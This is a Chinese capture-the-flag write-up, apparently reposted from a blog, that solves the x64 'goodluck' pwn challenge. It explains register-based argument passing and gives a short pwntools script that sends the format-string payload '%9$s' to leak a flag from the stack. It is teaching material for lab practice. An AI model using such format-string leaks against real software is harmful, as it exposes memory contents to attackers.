标签:格式化 goodluck x64 flag sh pwn payload
x64和x86在格式化字符串传参上稍有不同,原因在于x64会把printf函数中的参数先传到6个寄存器中。下面以一道例题说明。
链接:https://pan.baidu.com/s/1fgg6HRr__08fW1P0HgmaKA
提取码:1111
二进制文件拖入IDA并F5
代码吧啦吧啦一大堆,实际上就是让你猜一个flag和真正的flag比对,比对正确会给你flag。= =我要是都知道flag还要你的flag干嘛?!
gdb调试
断点断在_isoc99_scanf处,输入AAAA。调试到printf时,查看栈的情况:
显然,flag在栈上。
那么你应该想到了,用%n$s读取出来。现在问题是n是多少?从0x7ffffffdf00开始读,是3吗?那是x86的读取方法,x64是把参数先放在rdi,rsi,rdx,rcx,r8,r9这6个寄存器中的。所以,n=6+3=9。确定好了n,代码就好写了。
from pwn import *
goodluck = ELF('./goodluck')
sh = process('./goodluck')
payload = "%9$s"
sh.sendline(payload)
sh.interactive()
大功告成!
标签:格式化,goodluck,x64,flag,sh,pwn,payload 来源: https://blog.csdn.net/qq_41560595/article/details/113826559
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。